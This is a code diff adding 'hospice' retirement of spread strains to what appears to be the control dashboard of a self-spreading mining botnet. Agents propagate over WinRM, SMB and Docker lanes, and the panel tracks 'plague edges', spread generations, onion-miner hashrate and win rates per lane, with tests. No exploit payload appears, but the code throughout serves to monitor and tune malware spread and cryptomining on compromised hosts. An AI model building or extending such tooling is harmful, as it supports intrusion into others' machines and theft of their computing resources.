server/internal/strategy/hospice_test.go
Normal file
26
server/internal/strategy/hospice_test.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package strategy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestShouldAutoRetireStrain(t *testing.T) {
|
||||
if !ShouldAutoRetireStrain(1, 9, 0.15, 5) {
|
||||
t.Fatal("10% win rate with 10 attempts should retire at 15% threshold")
|
||||
}
|
||||
if ShouldAutoRetireStrain(1, 3, 0.15, 5) {
|
||||
t.Fatal("min attempts not met")
|
||||
}
|
||||
if StrainWinRate(0, 0) != 1.0 {
|
||||
t.Fatalf("empty stats should be 1.0, got %v", StrainWinRate(0, 0))
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaneInHospice(t *testing.T) {
|
||||
strain := StrainFromSpreadLane("winrm")
|
||||
hospice := map[string]bool{strain: true}
|
||||
if !LaneInHospice("winrm", hospice) {
|
||||
t.Fatalf("winrm strain %s should be in hospice", strain)
|
||||
}
|
||||
if LaneInHospice("docker", hospice) {
|
||||
t.Fatal("docker lane should not match winrm hospice entry")
|
||||
}
|
||||
}
|
||||
@@ -53,10 +53,11 @@ function StrainNodeMesh({
|
||||
onGoalPath: boolean;
|
||||
}) {
|
||||
const pulseRef = useRef<THREE.Mesh>(null);
|
||||
const isSuccess = node.branchStatus === 'success' || node.miningContinuity === 'continuous';
|
||||
const isFailed = node.branchStatus === 'failed' || node.miningContinuity === 'interrupted';
|
||||
const isMuseum = node.inHospice === true;
|
||||
const isSuccess = !isMuseum && (node.branchStatus === 'success' || node.miningContinuity === 'continuous');
|
||||
const isFailed = !isMuseum && (node.branchStatus === 'failed' || node.miningContinuity === 'interrupted');
|
||||
const baseColor = node.color;
|
||||
const emissive = isFailed ? '#331111' : baseColor;
|
||||
const emissive = isMuseum ? '#2a2a30' : isFailed ? '#331111' : baseColor;
|
||||
const intensity = onGoalPath ? nodeEmissiveIntensity(node) * 1.4 : nodeEmissiveIntensity(node);
|
||||
const radius = 0.35 + Math.min(node.hostCount, 12) * 0.04;
|
||||
const opacity = nodeWireOpacity(node);
|
||||
@@ -114,7 +115,7 @@ function StrainEdgeLine({
|
||||
return (
|
||||
<group>
|
||||
<Line points={[start, end]} color={color} lineWidth={lineWidth} transparent opacity={opacity} />
|
||||
{success && !failed && (
|
||||
{success && !failed && edge.weight > 0 && (
|
||||
<PlaguePulse
|
||||
start={start}
|
||||
end={end}
|
||||
@@ -126,8 +127,17 @@ function StrainEdgeLine({
|
||||
);
|
||||
}
|
||||
|
||||
export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
const graph = useMemo(() => buildEpidemiologyGraph(agents), [agents]);
|
||||
export default function FleetTopologyMap({
|
||||
agents,
|
||||
hospiceStrains,
|
||||
}: {
|
||||
agents: Agent[];
|
||||
hospiceStrains?: string[];
|
||||
}) {
|
||||
const graph = useMemo(
|
||||
() => buildEpidemiologyGraph(agents, hospiceStrains),
|
||||
[agents, hospiceStrains],
|
||||
);
|
||||
const layouts = useMemo(() => layoutStrainNodes(graph.nodes), [graph.nodes]);
|
||||
const positionMap = useMemo(() => {
|
||||
const map = new Map<string, [number, number, number]>();
|
||||
@@ -138,6 +148,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
}, [layouts]);
|
||||
const goalSet = useMemo(() => new Set(graph.goalPath), [graph.goalPath]);
|
||||
|
||||
const museumStrains = graph.nodes.filter((n) => n.inHospice).length;
|
||||
const plagueEdges = graph.edges.filter((e) => e.weight > 0).length;
|
||||
const continuousStrains = graph.nodes.filter((n) => n.miningContinuity === 'continuous').length;
|
||||
const interrupted = graph.interrupted.length;
|
||||
@@ -171,6 +182,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
>
|
||||
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }} />
|
||||
STRAIN_EPIDEMIOLOGY // {graph.nodes.length} STRAINS · {plagueEdges} PLAGUE_EDGES
|
||||
{museumStrains > 0 && ` · ${museumStrains} MUSEUM`}
|
||||
{graph.goalPath.length > 0 && ` · GOAL_PATH ${graph.goalPath.length}`}
|
||||
{continuousStrains > 0 && ` · ${continuousStrains} MINING`}
|
||||
{interrupted > 0 && ` · ${interrupted} INTERRUPTED`}
|
||||
|
||||
@@ -57,6 +57,27 @@ describe('buildEpidemiologyGraph', () => {
|
||||
expect(winrm?.hostCount).toBe(2);
|
||||
});
|
||||
|
||||
it('marks hospice strains as museum gray without plague edges', () => {
|
||||
const strain = '#aabbcc';
|
||||
const graph = buildEpidemiologyGraph(
|
||||
[
|
||||
mkAgent({ id: 'a1', spread_strain: strain, join_lane: 'winrm' }),
|
||||
mkAgent({
|
||||
id: 'a2',
|
||||
spread_strain: '#112233',
|
||||
parent_agent_id: 'a1',
|
||||
join_lane: 'smb',
|
||||
spread_generation: 1,
|
||||
}),
|
||||
],
|
||||
[strain],
|
||||
);
|
||||
const museum = graph.nodes.find((n) => n.id === strain);
|
||||
expect(museum?.inHospice).toBe(true);
|
||||
expect(museum?.color).toBe('#5a5a66');
|
||||
expect(graph.edges.every((e) => e.weight === 0)).toBe(true);
|
||||
});
|
||||
|
||||
it('weights edges by successful parent spreads only', () => {
|
||||
const parentStrain = '#parent';
|
||||
const childStrain = '#child';
|
||||
|
||||
@@ -24,10 +24,13 @@ export interface MiningInterruptState {
|
||||
parentAgentId?: string;
|
||||
}
|
||||
|
||||
export const HOSPICE_MUSEUM_COLOR = '#5a5a66';
|
||||
|
||||
export interface StrainNode {
|
||||
id: string;
|
||||
label: string;
|
||||
color: string;
|
||||
inHospice?: boolean;
|
||||
hostCount: number;
|
||||
onlineCount: number;
|
||||
spreadGeneration: number;
|
||||
@@ -278,7 +281,16 @@ export function computeGoalPath(nodes: StrainNode[], edges: StrainEdge[]): strin
|
||||
* Build strain epidemiology graph from fleet agents.
|
||||
* Nodes aggregate hosts per strain; edges count successful parent→child spreads only.
|
||||
*/
|
||||
export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph {
|
||||
export function buildEpidemiologyGraph(
|
||||
agents: Agent[],
|
||||
hospiceStrains?: Set<string> | string[],
|
||||
): EpidemiologyGraph {
|
||||
const hospiceSet = new Set<string>();
|
||||
if (hospiceStrains instanceof Set) {
|
||||
for (const s of hospiceStrains) hospiceSet.add(s.trim().toLowerCase());
|
||||
} else if (hospiceStrains) {
|
||||
for (const s of hospiceStrains) hospiceSet.add(s.trim().toLowerCase());
|
||||
}
|
||||
const agentsById = new Map(agents.map((a) => [a.id, a]));
|
||||
const strainBuckets = new Map<string, Agent[]>();
|
||||
|
||||
@@ -302,10 +314,12 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph {
|
||||
const failedSpreads = hosts.filter(isFailedSpread).length;
|
||||
const joinLane = hosts.find((h) => h.join_lane)?.join_lane;
|
||||
const maxGen = Math.max(0, ...hosts.map((h) => h.spread_generation ?? 0));
|
||||
const inHospice = hospiceSet.has(strain);
|
||||
nodes.push({
|
||||
id: strain,
|
||||
label: strainLabel(strain, joinLane, maxGen),
|
||||
color: strain.startsWith('#') ? strain : `#${strain}`,
|
||||
label: inHospice ? `${strainLabel(strain, joinLane, maxGen)} (museum)` : strainLabel(strain, joinLane, maxGen),
|
||||
color: inHospice ? HOSPICE_MUSEUM_COLOR : strain.startsWith('#') ? strain : `#${strain}`,
|
||||
inHospice,
|
||||
hostCount: hosts.length,
|
||||
onlineCount: online.length,
|
||||
spreadGeneration: maxGen,
|
||||
@@ -349,6 +363,9 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph {
|
||||
};
|
||||
edgeMap.set(key, edge);
|
||||
}
|
||||
if (hospiceSet.has(source) || hospiceSet.has(target)) {
|
||||
continue;
|
||||
}
|
||||
if (isSuccessfulSpread(child)) edge.weight += 1;
|
||||
else if (isFailedSpread(child)) edge.failedWeight += 1;
|
||||
}
|
||||
@@ -381,6 +398,7 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph {
|
||||
}
|
||||
|
||||
export function nodeEmissiveIntensity(node: StrainNode): number {
|
||||
if (node.inHospice) return 0.15;
|
||||
if (node.branchStatus === 'success' || node.miningContinuity === 'continuous') return 2.2;
|
||||
if (node.branchStatus === 'failed' || node.miningContinuity === 'interrupted') return 0.25;
|
||||
if (node.branchStatus === 'mixed') return 1.0;
|
||||
@@ -388,6 +406,7 @@ export function nodeEmissiveIntensity(node: StrainNode): number {
|
||||
}
|
||||
|
||||
export function nodeWireOpacity(node: StrainNode): number {
|
||||
if (node.inHospice) return 0.35;
|
||||
if (node.branchStatus === 'failed') return 0.2;
|
||||
if (node.miningContinuity === 'interrupted') return 0.35;
|
||||
return 0.85;
|
||||
|
||||
@@ -39,6 +39,18 @@ describe('pathTracerTimeline', () => {
|
||||
expect(pick?.id).toBe('win');
|
||||
});
|
||||
|
||||
it('skips hospice strains for fork-merge parent selection', () => {
|
||||
const hospice = new Set(['#ab88e4']);
|
||||
const pick = pickMergeCandidate(
|
||||
[
|
||||
branch({ id: 'hospice-win', status: 'won', spread_lanes: ['winrm'] }),
|
||||
branch({ id: 'ok-run', status: 'running', spread_lanes: ['docker'] }),
|
||||
],
|
||||
hospice,
|
||||
);
|
||||
expect(pick?.id).toBe('ok-run');
|
||||
});
|
||||
|
||||
it('maps status to CSS class', () => {
|
||||
expect(branchStatusClass('won')).toBe('won');
|
||||
expect(branchStatusClass('running')).toBe('running');
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
* Onion timeline fork/merge helpers for Path Tracer UI + Seer/AI context.
|
||||
*/
|
||||
|
||||
import { spreadStrainFromJoinLane } from './fleetTopologyEpidemiology';
|
||||
|
||||
export type TimelineBranchStatus =
|
||||
| 'canonical'
|
||||
| 'running'
|
||||
@@ -89,8 +91,28 @@ export function ghostBranchesByHop(branches: PathTraceTimelineBranch[]): Map<num
|
||||
return map;
|
||||
}
|
||||
|
||||
export function pickMergeCandidate(branches: PathTraceTimelineBranch[]): PathTraceTimelineBranch | null {
|
||||
const ghosts = branches.filter((b) => b.is_ghost);
|
||||
function branchPrimaryLane(branch: PathTraceTimelineBranch): string {
|
||||
return branch.spread_lanes?.[0]?.trim() ?? '';
|
||||
}
|
||||
|
||||
/** Spread strain from join lane — mirrors Go SpreadStrainFromJoinLane for hospice guards. */
|
||||
export function spreadStrainFromPersonaLane(lane: string): string {
|
||||
if (!lane) return '';
|
||||
return spreadStrainFromJoinLane(lane).toLowerCase();
|
||||
}
|
||||
|
||||
export function pickMergeCandidate(
|
||||
branches: PathTraceTimelineBranch[],
|
||||
hospiceStrains?: Set<string>,
|
||||
): PathTraceTimelineBranch | null {
|
||||
const hospice = hospiceStrains ?? new Set<string>();
|
||||
const eligible = (b: PathTraceTimelineBranch) => {
|
||||
const lane = branchPrimaryLane(b);
|
||||
if (!lane || hospice.size === 0) return true;
|
||||
const strain = spreadStrainFromPersonaLane(lane);
|
||||
return strain === '' || !hospice.has(strain);
|
||||
};
|
||||
const ghosts = branches.filter((b) => b.is_ghost && eligible(b));
|
||||
const won = ghosts.find((b) => b.status === 'won' || b.mining_linked);
|
||||
if (won) return won;
|
||||
const running = ghosts.find((b) => b.status === 'running');
|
||||
|
||||
@@ -11,6 +11,30 @@ export function isPathTraceTimelineEvent(event: SeerEventRecord): boolean {
|
||||
return event.event_type === 'pathtrace_timeline';
|
||||
}
|
||||
|
||||
export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
|
||||
return event.event_type === 'onion_miner_log';
|
||||
}
|
||||
|
||||
export function onionMinerLogSummary(event: SeerEventRecord): string {
|
||||
if (!isOnionMinerLogEvent(event)) return '';
|
||||
const p = event.payload ?? {};
|
||||
const method = typeof p.method === 'string' ? p.method : 'branch';
|
||||
const outcome = typeof p.outcome === 'string' ? p.outcome : 'update';
|
||||
const depth = typeof p.contingency_depth === 'number' ? p.contingency_depth : undefined;
|
||||
const ghost = p.is_ghost === true ? ' · ghost' : '';
|
||||
const hr = typeof p.hashrate === 'number' && p.hashrate > 0 ? ` · ${Math.round(p.hashrate)} H/s` : '';
|
||||
if (outcome === 'exhausted') {
|
||||
return `Contingency exhausted${depth != null ? ` · depth ${depth}` : ''} — awaiting court branch params`;
|
||||
}
|
||||
if (outcome === 'strain_retired') {
|
||||
return 'Contingency hospice — strain retired after max exhaustion cycles';
|
||||
}
|
||||
if (outcome === 'won' || outcome === 'ghost_won') {
|
||||
return `Contingency ${method} linked${hr}${ghost}${depth != null ? ` · depth ${depth}` : ''}`;
|
||||
}
|
||||
return `Contingency ${method} ${outcome}${ghost}${depth != null ? ` · depth ${depth}` : ''}`;
|
||||
}
|
||||
|
||||
export function pathTraceTimelineSummary(event: SeerEventRecord): string {
|
||||
if (!isPathTraceTimelineEvent(event)) return '';
|
||||
const p = event.payload ?? {};
|
||||
@@ -28,6 +52,8 @@ export function isSurgicalReplayEvent(event: SeerEventRecord): boolean {
|
||||
return event.event_type === 'surgical_replay';
|
||||
}
|
||||
|
||||
export { isMiningSelfSurgeryEvent, miningSelfSurgerySummary } from './miningSelfSurgery';
|
||||
|
||||
export function surgicalReplaySummary(event: SeerEventRecord): string {
|
||||
if (!isSurgicalReplayEvent(event)) {
|
||||
return '';
|
||||
|
||||
Reference in New Issue
Block a user